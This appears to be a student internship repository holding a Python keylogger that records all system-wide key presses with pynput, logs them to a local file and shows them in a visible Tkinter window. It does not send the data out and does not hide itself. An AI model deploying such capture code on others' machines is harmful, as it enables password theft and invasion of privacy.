├── README.md └── keyylogger.py /README.md: -------------------------------------------------------------------------------- 1 | # keyloggeribm 2 | Project for ibm cs-internship 3 | -------------------------------------------------------------------------------- /keyylogger.py: -------------------------------------------------------------------------------- 1 | from tkinter import Tk, Text, Scrollbar, Toplevel 2 | import threading 3 | from pynput import keyboard 4 | 5 | root = Tk() 6 | root.geometry("150x200") 7 | root.title("Keylogger Project") 8 | 9 | key_list = [] 10 | x = False 11 | key_strokes = "" 12 | 13 | def update_txt_file(key_list): 14 | with open('logs.txt', 'w+') as key_log: 15 | for item in key_list: 16 | for key, value in item.items(): 17 | key_log.write(f"{key}: {value}\n") 18 | 19 | def on_press(key): 20 | global x, key_list 21 | if x == False: 22 | key_list.append({'pressed': f'{key}'}) 23 | x = True 24 | if x == True: 25 | key_list.append({'hold': f'{key}'}) 26 | update_txt_file(key_list) 27 | 28 | def on_release(key): 29 | global x, key_list, key_strokes 30 | key_list.append({'released': f'{key}'}) 31 | if x == True: 32 | x = False 33 | update_txt_file(key_list) 34 | 35 | def start_keylogger(): 36 | with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: 37 | listener.join() 38 | 39 | def run_keylogger(): 40 | keylogger_thread = threading.Thread(target=start_keylogger) 41 | keylogger_thread.start() 42 | 43 | def open_gui(): 44 | window = Toplevel() 45 | window.title("Keylogger GUI") 46 | 47 | text = Text(window) 48 | text.pack(fill="both", expand=True) 49 | 50 | scrollbar = Scrollbar(window) 51 | scrollbar.pack(side="right", fill="y") 52 | 53 | text.config(yscrollcommand=scrollbar.set) 54 | scrollbar.config(command=text.yview) 55 | 56 | def update_logs(): 57 | while True: 58 | text.delete(1.0, "end") 59 | with open('logs.txt', 'r') as key_log: 60 | text.insert("end", key_log.read()) 61 | window.update() 62 | 63 | logs_thread = threading.Thread(target=update_logs) 64 | logs_thread.start() 65 | 66 | # Start the keylogger 67 | run_keylogger() 68 | 69 | # Start the GUI 70 | open_gui() 71 | 72 | root.mainloop() 73 | --------------------------------------------------------------------------------